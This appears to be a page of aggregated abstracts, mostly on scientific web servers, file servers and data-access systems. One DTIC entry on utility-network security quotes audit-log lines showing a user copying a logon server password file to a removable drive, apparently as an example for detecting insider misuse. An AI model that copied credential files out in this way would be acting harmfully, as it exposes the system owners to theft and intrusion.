Jalili, Mahdi; Salehzadeh-Yazdi, Ali; Asgari, Yazdan; Arab, Seyed Shahriar; Yaghmaie, Marjan; Ghavamzadeh, Ardeshir; Alimoghaddam, Kamran

2015-01-01

Various disciplines are trying to solve one of the most noteworthy queries and broadly used concepts in biology, essentiality. Centrality is a primary index and a promising method for identifying essential nodes, particularly in biological networks. The newly created CentiServer is a comprehensive online resource that provides over 110 definitions of different centrality indices, their computational methods, and algorithms in the form of an encyclopedia. In addition, CentiServer allows users to calculate 55 centralities with the help of an interactive web-based application tool and provides a numerical result as a comma separated value (csv) file format or a mapped graphical format as a graph modeling language (GML) file. The standalone version of this application has been developed in the form of an R package. The web-based application (CentiServer) and R package (centiserve) are freely available at http://www.centiserver.org/ PMID:26571275

XenoSite server: a web-available site of metabolism prediction tool.

PubMed

Matlock, Matthew K; Hughes, Tyler B; Swamidass, S Joshua

2015-04-01

Cytochrome P450 enzymes (P450s) are metabolic enzymes that process the majority of FDA-approved, small-molecule drugs. Understanding how these enzymes modify molecule structure is key to the development of safe, effective drugs. XenoSite server is an online implementation of the XenoSite, a recently published computational model for P450 metabolism. XenoSite predicts which atomic sites of a molecule--sites of metabolism (SOMs)--are modified by P450s. XenoSite server accepts input in common chemical file formats including SDF and SMILES and provides tools for visualizing the likelihood that each atomic site is a site of metabolism for a variety of important P450s, as well as a flat file download of SOM predictions. XenoSite server is available at http://swami.wustl.edu/xenosite. © The Author 2014. Published by Oxford University Press. All rights reserved. For Permissions, please email: journals.permissions@oup.com.

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ECFS: A decentralized, distributed and fault-tolerant FUSE filesystem for the LHCb online farm

NASA Astrophysics Data System (ADS)

Rybczynski, Tomasz; Bonaccorsi, Enrico; Neufeld, Niko

2014-06-01

The LHCb experiment records millions of proton collisions every second, but only a fraction of them are useful for LHCb physics. In order to filter out the "bad events" a large farm of x86-servers (~2000 nodes) has been put in place. These servers boot from and run from NFS, however they use their local disk to temporarily store data, which cannot be processed in real-time ("data-deferring"). These events are subsequently processed, when there are no live-data coming in. The effective CPU power is thus greatly increased. This gain in CPU power depends critically on the availability of the local disks. For cost and power-reasons, mirroring (RAID-1) is not used, leading to a lot of operational headache with failing disks and disk-errors or server failures induced by faulty disks. To mitigate these problems and increase the reliability of the LHCb farm, while at same time keeping cost and power-consumption low, an extensive research and study of existing highly available and distributed file systems has been done. While many distributed file systems are providing reliability by "file replication", none of the evaluated ones supports erasure algorithms. A decentralised, distributed and fault-tolerant "write once read many" file system has been designed and implemented as a proof of concept providing fault tolerance without using expensive - in terms of disk space - file replication techniques and providing a unique namespace as a main goals. This paper describes the design and the implementation of the Erasure Codes File System (ECFS) and presents the specialised FUSE interface for Linux. Depending on the encoding algorithm ECFS will use a certain number of target directories as a backend to store the segments that compose the encoded data. When target directories are mounted via nfs/autofs - ECFS will act as a file-system over network/block-level raid over multiple servers.

Collaborative, Trust-Based Security Mechanisms for a National Utility Intranet

DTIC Science & Technology

2007-09-01

time_message_ceated … username bearnold operation_type copy from_file C:/etc/ passwd \\MPLpw.txt from_file_data_type ND //network data...time_message_created … username bearnold operation_type paste from_file C:\\etc\\ passwd \\MPLpw.txt //logon server password file...from_file_data_type ND from_file_caveat restricted-release to_file F:\\Copy of C:\\etc\\ passwd \\MPLpw.txt //removable drive //end message data

Data Storage and Transfer | High-Performance Computing | NREL

Science.gov Websites

High-Performance Computing (HPC) systems. Photo of computer server wiring and lights, blurred to show data. WinSCP for Windows File Transfers Use to transfer files from a local computer to a remote computer. Robinhood for File Management Use this tool to manage your data files on Peregrine. Best

How to Purchase, Set Up, & Safeguard a CD-ROM Network.

ERIC Educational Resources Information Center

Almquist, Arne J.

1996-01-01

Presents an overview of the hardware and software required to network CD-ROMs in schools. Topics include network infrastructures, networking software, file server-based systems, CD-ROM servers, vendors of network components, workstations, network utilities, and network management. (LRW)

Patch Finder Plus (PFplus): a web server for extracting and displaying positive electrostatic patches on protein surfaces.

PubMed

Shazman, Shula; Celniker, Gershon; Haber, Omer; Glaser, Fabian; Mandel-Gutfreund, Yael

2007-07-01

Positively charged electrostatic patches on protein surfaces are usually indicative of nucleic acid binding interfaces. Interestingly, many proteins which are not involved in nucleic acid binding possess large positive patches on their surface as well. In some cases, the positive patches on the protein are related to other functional properties of the protein family. PatchFinderPlus (PFplus) http://pfp.technion.ac.il is a web-based tool for extracting and displaying continuous electrostatic positive patches on protein surfaces. The input required for PFplus is either a four letter PDB code or a protein coordinate file in PDB format, provided by the user. PFplus computes the continuum electrostatics potential and extracts the largest positive patch for each protein chain in the PDB file. The server provides an output file in PDB format including a list of the patch residues. In addition, the largest positive patch is displayed on the server by a graphical viewer (Jmol), using a simple color coding.

An open source Java web application to build self-contained Web GIS sites

NASA Astrophysics Data System (ADS)

Zavala Romero, O.; Ahmed, A.; Chassignet, E.; Zavala-Hidalgo, J.

2014-12-01

This work describes OWGIS, an open source Java web application that creates Web GIS sites by automatically writing HTML and JavaScript code. OWGIS is configured by XML files that define which layers (geographic datasets) will be displayed on the websites. This project uses several Open Geospatial Consortium standards to request data from typical map servers, such as GeoServer, and is also able to request data from ncWMS servers. The latter allows for the displaying of 4D data stored using the NetCDF file format (widely used for storing environmental model datasets). Some of the features available on the sites built with OWGIS are: multiple languages, animations, vertical profiles and vertical transects, color palettes, color ranges, and the ability to download data. OWGIS main users are scientists, such as oceanographers or climate scientists, who store their data in NetCDF files and want to analyze, visualize, share, or compare their data using a website.

Patch Finder Plus (PFplus): A web server for extracting and displaying positive electrostatic patches on protein surfaces

PubMed Central

Shazman, Shula; Celniker, Gershon; Haber, Omer; Glaser, Fabian; Mandel-Gutfreund, Yael

2007-01-01

Positively charged electrostatic patches on protein surfaces are usually indicative of nucleic acid binding interfaces. Interestingly, many proteins which are not involved in nucleic acid binding possess large positive patches on their surface as well. In some cases, the positive patches on the protein are related to other functional properties of the protein family. PatchFinderPlus (PFplus) http://pfp.technion.ac.il is a web-based tool for extracting and displaying continuous electrostatic positive patches on protein surfaces. The input required for PFplus is either a four letter PDB code or a protein coordinate file in PDB format, provided by the user. PFplus computes the continuum electrostatics potential and extracts the largest positive patch for each protein chain in the PDB file. The server provides an output file in PDB format including a list of the patch residues. In addition, the largest positive patch is displayed on the server by a graphical viewer (Jmol), using a simple color coding. PMID:17537808

Informatics in radiology (infoRAD): Vendor-neutral case input into a server-based digital teaching file system.

PubMed

Kamauu, Aaron W C; DuVall, Scott L; Robison, Reid J; Liimatta, Andrew P; Wiggins, Richard H; Avrin, David E

2006-01-01

Although digital teaching files are important to radiology education, there are no current satisfactory solutions for export of Digital Imaging and Communications in Medicine (DICOM) images from picture archiving and communication systems (PACS) in desktop publishing format. A vendor-neutral digital teaching file, the Radiology Interesting Case Server (RadICS), offers an efficient tool for harvesting interesting cases from PACS without requiring modifications of the PACS configurations. Radiologists push imaging studies from PACS to RadICS via the standard DICOM Send process, and the RadICS server automatically converts the DICOM images into the Joint Photographic Experts Group format, a common desktop publishing format. They can then select key images and create an interesting case series at the PACS workstation. RadICS was tested successfully against multiple unmodified commercial PACS. Using RadICS, radiologists are able to harvest and author interesting cases at the point of clinical interpretation with minimal disruption in clinical work flow. RSNA, 2006

Glossary of Internet Terms.

ERIC Educational Resources Information Center

Microcomputers for Information Management, 1995

1995-01-01

Provides definitions for 71 terms related to the Internet, including Archie, bulletin board system, cyberspace, e-mail (electronic mail), file transfer protocol, gopher, hypertext, integrated services digital network, local area network, listserv, modem, packet switching, server, telnet, UNIX, WAIS (wide area information servers), and World Wide…

Designing Secure Library Networks.

ERIC Educational Resources Information Center

Breeding, Michael

1997-01-01

Focuses on designing a library network to maximize security. Discusses UNIX and file servers; connectivity to campus, corporate networks and the Internet; separation of staff from public servers; controlling traffic; the threat of network sniffers; hubs that eliminate eavesdropping; dividing the network into subnets; Switched Ethernet;…

SDS: A Framework for Scientific Data Services

DOE Office of Scientific and Technical Information (OSTI.GOV)

Dong, Bin; Byna, Surendra; Wu, Kesheng

2013-10-31

Large-scale scientific applications typically write their data to parallel file systems with organizations designed to achieve fast write speeds. Analysis tasks frequently read the data in a pattern that is different from the write pattern, and therefore experience poor I/O performance. In this paper, we introduce a prototype framework for bridging the performance gap between write and read stages of data access from parallel file systems. We call this framework Scientific Data Services, or SDS for short. This initial implementation of SDS focuses on reorganizing previously written files into data layouts that benefit read patterns, and transparently directs read callsmore » to the reorganized data. SDS follows a client-server architecture. The SDS Server manages partial or full replicas of reorganized datasets and serves SDS Clients' requests for data. The current version of the SDS client library supports HDF5 programming interface for reading data. The client library intercepts HDF5 calls and transparently redirects them to the reorganized data. The SDS client library also provides a querying interface for reading part of the data based on user-specified selective criteria. We describe the design and implementation of the SDS client-server architecture, and evaluate the response time of the SDS Server and the performance benefits of SDS.« less

Distributed Data Collection for the ATLAS EventIndex

NASA Astrophysics Data System (ADS)

Sánchez, J.; Fernández Casaní, A.; González de la Hoz, S.

2015-12-01

The ATLAS EventIndex contains records of all events processed by ATLAS, in all processing stages. These records include the references to the files containing each event (the GUID of the file) and the internal pointer to each event in the file. This information is collected by all jobs that run at Tier-0 or on the Grid and process ATLAS events. Each job produces a snippet of information for each permanent output file. This information is packed and transferred to a central broker at CERN using an ActiveMQ messaging system, and then is unpacked, sorted and reformatted in order to be stored and catalogued into a central Hadoop server. This contribution describes in detail the Producer/Consumer architecture to convey this information from the running jobs through the messaging system to the Hadoop server.

Educational use of World Wide Web pages on CD-ROM.

PubMed

Engel, Thomas P; Smith, Michael

2002-01-01

The World Wide Web is increasingly important for medical education. Internet served pages may also be used on a local hard disk or CD-ROM without a network or server. This allows authors to reuse existing content and provide access to users without a network connection. CD-ROM offers several advantages over network delivery of Web pages for several applications. However, creating Web pages for CD-ROM requires careful planning. Issues include file names, relative links, directory names, default pages, server created content, image maps, other file types and embedded programming. With care, it is possible to create server based pages that can be copied directly to CD-ROM. In addition, Web pages on CD-ROM may reference Internet served pages to provide the best features of both methods.

Experiences From NASA/Langley's DMSS Project

NASA Technical Reports Server (NTRS)

1996-01-01

There is a trend in institutions with high performance computing and data management requirements to explore mass storage systems with peripherals directly attached to a high speed network. The Distributed Mass Storage System (DMSS) Project at the NASA Langley Research Center (LaRC) has placed such a system into production use. This paper will present the experiences, both good and bad, we have had with this system since putting it into production usage. The system is comprised of: 1) National Storage Laboratory (NSL)/UniTree 2.1, 2) IBM 9570 HIPPI attached disk arrays (both RAID 3 and RAID 5), 3) IBM RS6000 server, 4) HIPPI/IPI3 third party transfers between the disk array systems and the supercomputer clients, a CRAY Y-MP and a CRAY 2, 5) a "warm spare" file server, 6) transition software to convert from CRAY's Data Migration Facility (DMF) based system to DMSS, 7) an NSC PS32 HIPPI switch, and 8) a STK 4490 robotic library accessed from the IBM RS6000 block mux interface. This paper will cover: the performance of the DMSS in the following areas: file transfer rates, migration and recall, and file manipulation (listing, deleting, etc.); the appropriateness of a workstation class of file server for NSL/UniTree with LaRC's present storage requirements in mind the role of the third party transfers between the supercomputers and the DMSS disk array systems in DMSS; a detailed comparison (both in performance and functionality) between the DMF and DMSS systems LaRC's enhancements to the NSL/UniTree system administration environment the mechanism for DMSS to provide file server redundancy the statistics on the availability of DMSS the design and experiences with the locally developed transparent transition software which allowed us to make over 1.5 million DMF files available to NSL/UniTree with minimal system outage

The ClusPro web server for protein-protein docking

PubMed Central

Kozakov, Dima; Hall, David R.; Xia, Bing; Porter, Kathryn A.; Padhorny, Dzmitry; Yueh, Christine; Beglov, Dmitri; Vajda, Sandor

2017-01-01

The ClusPro server (https://cluspro.org) is a widely used tool for protein-protein docking. The server provides a simple home page for basic use, requiring only two files in Protein Data Bank format. However, ClusPro also offers a number of advanced options to modify the search that include the removal of unstructured protein regions, applying attraction or repulsion, accounting for pairwise distance restraints, constructing homo-multimers, considering small angle X-ray scattering (SAXS) data, and finding heparin binding sites. Six different energy functions can be used depending on the type of proteins. Docking with each energy parameter set results in ten models defined by centers of highly populated clusters of low energy docked structures. This protocol describes the use of the various options, the construction of auxiliary restraints files, the selection of the energy parameters, and the analysis of the results. Although the server is heavily used, runs are generally completed in < 4 hours. PMID:28079879

The Time Series Data Server (TSDS) for Standards-Compliant, Convenient, and Efficient Access to Time Series Data

NASA Astrophysics Data System (ADS)

Lindholm, D. M.; Weigel, R. S.; Wilson, A.; Ware Dewolfe, A.

2009-12-01

Data analysis in the physical sciences is often plagued by the difficulty in acquiring the desired data. A great deal of work has been done in the area of metadata and data discovery, however, many such discoveries simply provide links that lead directly to a data file. Often these files are impractically large, containing more time samples or variables than desired, and are slow to access. Once these files are downloaded, format issues further complicate using the data. Some data servers have begun to address these problems by improving data virtualization and ease of use. However, these services often don't scale to large datasets. Also, the generic nature of the data models used by these servers, while providing greater flexibility, may complicate setting up such a service for data providers and limit sufficient semantics that would otherwise simplify use for clients, machine or human. The Time Series Data Server (TSDS) aims to address these problems within the limited, yet common, domain of time series data. With the simplifying assumption that all data products served are a function of time, the server can optimize for data access based on time subsets, a common use case. The server also supports requests for specific variables, which can be of type scalar, structure, or sequence. It also supports data types with higher level semantics, such as "spectrum." The TSDS is implemented using Java Servlet technology and can be dropped into any servlet container and customized for a data provider's needs. The interface is based on OPeNDAP (http://opendap.org) and conforms to the Data Acces Protocol (DAP) 2.0, a NASA standard (ESDS-RFC-004), which defines a simple HTTP request and response paradigm. Thus a TSDS server instance is a compliant OPeNDAP server that can be accessed by any OPeNDAP client or directly via RESTful web service requests. The TSDS reads the data that it serves into a common data model via the NetCDF Markup Language (NcML, http://www.unidata.ucar.edu/software/netcdf/ncml/) which enables dataset virtualization. An NcML file can expose a single file, a subset, or an aggregation of files as a single, logical dataset. With the appropriate NcML adapter, the TSDS can read data from its native format, eliminating the need for data providers to reformat their data and lowering the barrier for integration. Data can even be read via remote services which is important for enabling VxOs to be truly virtual. The TSDS provides reading, writing, and filtering capabilities through a modular framework. A collection of standard modules is available and customized modules are easy to create and integrate. This way the TSDS can read and write data in a variety of formats and apply filters to them an a manner customizable to meet the needs of both the data providers and consumers. The TSDS server is currently in use serving solar irradiance data from the LASP Interactive Solar IRradiance Datacenter (LISIRD, http://lasp.colorado.edu/lisird/), and is being introduced into the space physics virtual observatory community. The TSDS software is Open Source and available at SourceForge.

Phased development of a web-based PACS viewer

NASA Astrophysics Data System (ADS)

Gidron, Yoad; Shani, Uri; Shifrin, Mark

2000-05-01

The Web browser is an excellent environment for the rapid development of an effective and inexpensive PACS viewer. In this paper we will share our experience in developing a browser-based viewer, from the inception and prototype stages to its current state of maturity. There are many operational advantages to a browser-based viewer, even when native viewers already exist in the system (with multiple and/or high resolution screens): (1) It can be used on existing personal workstations throughout the hospital. (2) It is easy to make the service available from physician's homes. (3) The viewer is extremely portable and platform independent. There is a wide variety of means available for implementing the browser- based viewer. Each file sent to the client by the server can perform some end-user or client/server interaction. These means range from HTML (for HyperText Markup Language) files, through Java Script, to Java applets. Some data types may also invoke plug-in code in the client, although this would reduce the portability of the viewer, it would provide the needed efficiency in critical places. On the server side the range of means is also very rich: (1) A set of files: html, Java Script, Java applets, etc. (2) Extensions of the server via cgi-bin programs, (3) Extensions of the server via servlets, (4) Any other helper application residing and working with the server to access the DICOM archive. The viewer architecture consists of two basic parts: The first part performs query and navigation through the DICOM archive image folders. The second part does the image access and display. While the first part deals with low data traffic, it involves many database transactions. The second part is simple as far as access transactions are concerned, but requires much more data traffic and display functions. Our web-based viewer has gone through three development stages characterized by the complexity of the means and tools employed on both client and server sides.

Home teleradiology system

NASA Astrophysics Data System (ADS)

Komo, Darmadi; Garra, Brian S.; Freedman, Matthew T.; Mun, Seong K.

1997-05-01

The Home Teleradiology Server system has been developed and installed at the Department of Radiology, Georgetown University Medical Center. The main purpose of the system is to provide a service for on-call physicians to view patients' medical images at home during off-hours. This service will reduce the overhead time required by on-call physicians to travel to the hospital, thereby increasing the efficiency of patient care and improving the total quality of the health care. Typically when a new case is conducted, the medical images generated from CT, US, and/or MRI modalities are transferred to a central server at the hospital via DICOM messages over an existing hospital network. The server has a DICOM network agent that listens to DICOM messages sent by CT, US, and MRI modalities and stores them into separate DICOM files for sending purposes. The server also has a general purpose, flexible scheduling software that can be configured to send image files to specific user(s) at certain times on any day(s) of the week. The server will then distribute the medical images to on- call physicians' homes via a high-speed modem. All file transmissions occur in the background without human interaction after the scheduling software is pre-configured accordingly. At the receiving end, the physicians' computers consist of high-end workstations that have high-speed modems to receive the medical images sent by the central server from the hospital, and DICOM compatible viewer software to view the transmitted medical images in DICOM format. A technician from the hospital, and DICOM compatible viewer software to view the transmitted medical images in DICOM format. A technician from the hospital will notify the physician(s) after all the image files have been completely sent. The physician(s) will then examine the medical images and decide if it is necessary to travel to the hospital for further examination on the patients. Overall, the Home Teleradiology system provides the on-call physicians with a cost-effective and convenient environment for viewing patients' medical images at home.

Library Web Proxy Use Survey Results.

ERIC Educational Resources Information Center

Murray, Peter E.

2001-01-01

Outlines the use of proxy Web servers by libraries and reports on a survey on their use in libraries. Highlights include proxy use for remote resource access, for filtering, for bandwidth conservation, and for gathering statistics; privacy policies regarding the use of proxy server log files; and a copy of the survey. (LRW)

deepTools: a flexible platform for exploring deep-sequencing data.

PubMed

Ramírez, Fidel; Dündar, Friederike; Diehl, Sarah; Grüning, Björn A; Manke, Thomas

2014-07-01

We present a Galaxy based web server for processing and visualizing deeply sequenced data. The web server's core functionality consists of a suite of newly developed tools, called deepTools, that enable users with little bioinformatic background to explore the results of their sequencing experiments in a standardized setting. Users can upload pre-processed files with continuous data in standard formats and generate heatmaps and summary plots in a straight-forward, yet highly customizable manner. In addition, we offer several tools for the analysis of files containing aligned reads and enable efficient and reproducible generation of normalized coverage files. As a modular and open-source platform, deepTools can easily be expanded and customized to future demands and developments. The deepTools webserver is freely available at http://deeptools.ie-freiburg.mpg.de and is accompanied by extensive documentation and tutorials aimed at conveying the principles of deep-sequencing data analysis. The web server can be used without registration. deepTools can be installed locally either stand-alone or as part of Galaxy. © The Author(s) 2014. Published by Oxford University Press on behalf of Nucleic Acids Research.

Application of real-time cooperative editing in urban planning management system

NASA Astrophysics Data System (ADS)

Jing, Changfeng; Liu, Renyi; Liu, Nan; Bao, Weizheng

2007-06-01

With the increasing of business requirement of urban planning bureau, co-edit function is needed urgently, however conventional GIS are not support this. In order to overcome this limitation, a new kind urban 1planning management system with co-edit function is needed. Such a system called PM2006 has been used in Suzhou Urban Planning Bureau. PM2006 is introduced in this paper. In this paper, four main issues of Co-edit system--consistency, responsiveness time, data recoverability and unconstrained operation--were discussed. And for these four questions, resolutions were put forward in paper. To resolve these problems of co-edit GIS system, a data model called FGDB (File and ESRI GeoDatabase) that is mixture architecture of File and ESRI Geodatabase was introduced here. The main components of FGDB data model are ESRI versioned Geodatabase and replicated architecture. With FGDB, client responsiveness, spatial data recoverability and unconstrained operation were overcome. In last of paper, MapServer, the co-edit map server module, is presented. Main functions of MapServer are operation serialization and spatial data replication between file and versioned data.

A performance analysis of advanced I/O architectures for PC-based network file servers

NASA Astrophysics Data System (ADS)

Huynh, K. D.; Khoshgoftaar, T. M.

1994-12-01

In the personal computing and workstation environments, more and more I/O adapters are becoming complete functional subsystems that are intelligent enough to handle I/O operations on their own without much intervention from the host processor. The IBM Subsystem Control Block (SCB) architecture has been defined to enhance the potential of these intelligent adapters by defining services and conventions that deliver command information and data to and from the adapters. In recent years, a new storage architecture, the Redundant Array of Independent Disks (RAID), has been quickly gaining acceptance in the world of computing. In this paper, we would like to discuss critical system design issues that are important to the performance of a network file server. We then present a performance analysis of the SCB architecture and disk array technology in typical network file server environments based on personal computers (PCs). One of the key issues investigated in this paper is whether a disk array can outperform a group of disks (of same type, same data capacity, and same cost) operating independently, not in parallel as in a disk array.

Parallel sort with a ranged, partitioned key-value store in a high perfomance computing environment

DOEpatents

Bent, John M.; Faibish, Sorin; Grider, Gary; Torres, Aaron; Poole, Stephen W.

2016-01-26

Improved sorting techniques are provided that perform a parallel sort using a ranged, partitioned key-value store in a high performance computing (HPC) environment. A plurality of input data files comprising unsorted key-value data in a partitioned key-value store are sorted. The partitioned key-value store comprises a range server for each of a plurality of ranges. Each input data file has an associated reader thread. Each reader thread reads the unsorted key-value data in the corresponding input data file and performs a local sort of the unsorted key-value data to generate sorted key-value data. A plurality of sorted, ranged subsets of each of the sorted key-value data are generated based on the plurality of ranges. Each sorted, ranged subset corresponds to a given one of the ranges and is provided to one of the range servers corresponding to the range of the sorted, ranged subset. Each range server sorts the received sorted, ranged subsets and provides a sorted range. A plurality of the sorted ranges are concatenated to obtain a globally sorted result.

SurvNet: a web server for identifying network-based biomarkers that most correlate with patient survival data.

PubMed

Li, Jun; Roebuck, Paul; Grünewald, Stefan; Liang, Han

2012-07-01

An important task in biomedical research is identifying biomarkers that correlate with patient clinical data, and these biomarkers then provide a critical foundation for the diagnosis and treatment of disease. Conventionally, such an analysis is based on individual genes, but the results are often noisy and difficult to interpret. Using a biological network as the searching platform, network-based biomarkers are expected to be more robust and provide deep insights into the molecular mechanisms of disease. We have developed a novel bioinformatics web server for identifying network-based biomarkers that most correlate with patient survival data, SurvNet. The web server takes three input files: one biological network file, representing a gene regulatory or protein interaction network; one molecular profiling file, containing any type of gene- or protein-centred high-throughput biological data (e.g. microarray expression data or DNA methylation data); and one patient survival data file (e.g. patients' progression-free survival data). Given user-defined parameters, SurvNet will automatically search for subnetworks that most correlate with the observed patient survival data. As the output, SurvNet will generate a list of network biomarkers and display them through a user-friendly interface. SurvNet can be accessed at http://bioinformatics.mdanderson.org/main/SurvNet.

Earth Science Datacasting v2.0

NASA Technical Reports Server (NTRS)

Bingham, Andrew W.; Deen, Robert G.; Hussey, Kevin J.; Stough, Timothy M.; McCleese, Sean W.; Toole, Nicholas T.

2012-01-01

The Datacasting software, which consists of a server and a client, has been developed as part of the Earth Science (ES) Datacasting project. The goal of ES Datacasting is to provide scientists the ability to automatically and continuously download Earth science data that meets a precise, predefined need, and then to instantaneously visualize it on a local computer. This is achieved by applying the concept of podcasting to deliver science data over the Internet using RSS (Really Simple Syndication) XML feeds. By extending the RSS specification, scientists can filter a feed and only download the files that are required for a particular application (for example, only files that contain information about a particular event, such as a hurricane or flood). The extension also provides the ability for the client to understand the format of the data and visualize the information locally. The server part enables a data provider to create and serve basic Datacasting (RSS-based) feeds. The user can subscribe to any number of feeds, view the information related to each item contained within a feed (including browse pre-made images), manually download files associated with items, and place these files in a local store. The client-server architecture enables users to: a) Subscribe and interpret multiple Datacasting feeds (same look and feel as a typical mail client), b) Maintain a list of all items within each feed, c) Enable filtering on the lists based on different metadata attributes contained within the feed (list will reference only data files of interest), d) Visualize the reference data and associated metadata, e) Download files referenced within the list, and f) Automatically download files as new items become available.

ModelTest Server: a web-based tool for the statistical selection of models of nucleotide substitution online

PubMed Central

Posada, David

2006-01-01

ModelTest server is a web-based application for the selection of models of nucleotide substitution using the program ModelTest. The server takes as input a text file with likelihood scores for the set of candidate models. Models can be selected with hierarchical likelihood ratio tests, or with the Akaike or Bayesian information criteria. The output includes several statistics for the assessment of model selection uncertainty, for model averaging or to estimate the relative importance of model parameters. The server can be accessed at . PMID:16845102

d-Omix: a mixer of generic protein domain analysis tools.

PubMed

Wichadakul, Duangdao; Numnark, Somrak; Ingsriswang, Supawadee

2009-07-01

Domain combination provides important clues to the roles of protein domains in protein function, interaction and evolution. We have developed a web server d-Omix (a Mixer of Protein Domain Analysis Tools) aiming as a unified platform to analyze, compare and visualize protein data sets in various aspects of protein domain combinations. With InterProScan files for protein sets of interest provided by users, the server incorporates four services for domain analyses. First, it constructs protein phylogenetic tree based on a distance matrix calculated from protein domain architectures (DAs), allowing the comparison with a sequence-based tree. Second, it calculates and visualizes the versatility, abundance and co-presence of protein domains via a domain graph. Third, it compares the similarity of proteins based on DA alignment. Fourth, it builds a putative protein network derived from domain-domain interactions from DOMINE. Users may select a variety of input data files and flexibly choose domain search tools (e.g. hmmpfam, superfamily) for a specific analysis. Results from the d-Omix could be interactively explored and exported into various formats such as SVG, JPG, BMP and CSV. Users with only protein sequences could prepare an InterProScan file using a service provided by the server as well. The d-Omix web server is freely available at http://www.biotec.or.th/isl/Domix.

Tablet based distributed intelligent load management

DOEpatents

Lu, Yan; Zhou, Siyuan

2018-01-09

A facility is connected to an electricity utility and is responsive to Demand Response Events. A plurality of devices is each individually connected to the electricity grid via an addressable switch connected to a secure network that is enabled to be individually switched off by a server. An occupant of a room in control of the plurality of devices provides via a Human Machine Interface on a tablet a preferred order of switching off the plurality of devices in case of a Demand Response Event. A configuration file based at least partially on the preferred order and on a severity of the Demand Response Events determines which devices which of the plurality devices will be switched off. The server accesses the configuration file and switches off the devices included in the configuration file.

Fleet Numerical Meteorology and Oceanography Center support for GODAE

NASA Astrophysics Data System (ADS)

Dimitriou, D.; Sharfstein, P.; Ignaszewski, M.; Clancy, M.

2003-04-01

The U.S. Navy's Fleet Numerical Meteorology and Oceanography Center (FNMOC; see http://www.fnmoc.navy.mil/), located in Monterey, CA, is the lead activity within the U.S. Department of Defense (DoD) for numerical weather prediction and coupled air-sea modeling. FNMOC fulfills this role through means of a suite of sophisticated global and regional meteorological and oceanographic (METOC) models, extending from the top of the atmosphere to the bottom of the ocean, which is supported by one of the world's most complete real-time METOC databases. Fleet Numerical operates around-the-clock, 365 days per year and distributes METOC products to military and civilian users around the world, both ashore and afloat, through a variety of means, including a rapidly growing and innovative use of Web technology. FNMOC's customers include all branches of the Department of Defense (DoD), other government organizations such as the National Weather Service, private companies such as the Weather Channel, a number of colleges and universities, and the general public. FNMOC acquires and processes over 6 million METOC observations per day—creating one of the world's most comprehensive real-time databases of meteorological and oceanographic observations for assimilation into its models. FNMOC employs three primary models, the Navy Operational Global Atmospheric Prediction System (NOGAPS), the Coupled Ocean/Atmosphere Mesoscale Prediction System (COAMPS), and the WaveWatch III model (WW3), along with a number of specialized models and related applications. NOGAPS is a global weather model, driving nearly all other FNMOC models and applications in some fashion. COAMPS is a high-resolution regional model that has proved to be particularly valuable for forecasting weather and ocean conditions in highly complex coastal areas. WW3 is a state-of-the-art ocean wave model that is employed both globally and regionally in support of a wide variety of naval operations. Specialized models support and supplement the main models with predictions of ocean thermal structure, ocean currents, and other important data. In general, FNMOC strives to treat the air-ocean environment as a fully integrated system, from the top of the atmosphere to the bottom of the ocean, placing special emphasis on the air-ocean interface. FNMOC also hosts the USGODAE Server (see http://www.usgodae.org). Ongoing development of this system is being done through a partnership of FNMOC and NOAA's Pacific Marine Environmental Lab (PMEL), with oversight from the U.S. Global Ocean Data Assimilation Experiment (GODAE) Steering Committee and funding from the Office of Naval Research (ONR). The USGODAE Server hosts in-situ oceanographic data, atmospheric forcing fields suitable for driving ocean models and unique GODAE data sets, including demonstration ocean model products. The USGODAE Server contains fixed and drifting buoy data, bathythermograph data, PALACE float data, ship data and CMAN data. It also includes TOPEX, GFO, and ERS altimeter data, AVHRR SST retrievals, DMSP sea ice concentration retrievals and meteorological observations. The USGODAE Server also functions as one of two global repositories or Global Data Assembly Centers (GDACs) for data from the Argo global array of temperature/salinity profiling floats. Included in these online data sets are those from Canada (MEDS) with 67 floats and 1900 station files from April 2001 to present, Japan (JMA) with 97 floats and 2700 station files from April 2000 to present, and the U.S. (AOML) with 304 floats and 9800 station files from August 1997 to present, and France (CORIOLIS) with 121 floats and 5396 station files from early 2001 to present. On the USGODAE Server the Argo GDAC Web Interface allows users to easily select data based on time, region, Data Assembly Center (DAC), or float ID. Users can download float profile files, trajectory files, or technical data files. The atmospheric forcing fields hosted on the USGODAE Server are from both FNMOC and the National Centers for Environmental Prediction (NCEP). The FNMOC fields include output from both NOGAPS and COAMPS, with the COAMPS products obtained from the four regional areas surrounding the continental United States. Additionally, the server mirrors the METEO France Satellite Application Facility (SAF) ftp site, which provides surface radiative fluxes, wind vectors, sea-surface temperature fields, and sea ice. To facilitate access and visualization of USGODAE data sets, PMEL has developed the GODAE Live Access Server (LAS) software. LAS enables the Web user to visualize data with on-the-fly graphics, request custom subsets of variables in a choice of file formats, access background reference material about the data (i.e., metadata), and compare (e.g., difference) variables from different data sets. The USGODAE Server also uses the Grid Analysis and Display System (GrADS)/Distributed Oceanographic Data System (DODS) software from the Center for Ocean Land Atmosphere (COLA)/Institute of Global Environment and Society (IGES), serving NOGAPS, COAMPS and NCEP fields as time-aggregated DODS data sets. A thumbnail generator creates preview images for all non-gridded data files on the server, giving users the opportunity to view the contents of large in-situ and satellite data files before downloading them. The USGODAE Server has become a ``one-stop shop" for GODAE researchers and others requiring data to support global ocean modelling studies. As the execution phase for GODAE approaches, additional data sets and data access capabilities will be added to the server. An exciting new aspect of this will be the inclusion of demonstration model products produced by GODAE ocean modelers from around the world. As the server is populated with these products, it is expected to become a significant enabler and focal point for ocean model inter-comparison studies.

www.p2p.edu: Rip, Mix & Burn Your Education.

ERIC Educational Resources Information Center

Gillespie, Thom

2001-01-01

Discusses peer to peer technology which allows uploading files from one hard drive to another. Topics include the client/server model for education; the Napster client/server model; Gnutella; Freenet and other projects to allow the free exchange of information without censorship; bandwidth problems; copyright issues; metadata; and the United…

Data Publishing and Sharing Via the THREDDS Data Repository

NASA Astrophysics Data System (ADS)

Wilson, A.; Caron, J.; Davis, E.; Baltzer, T.

2007-12-01

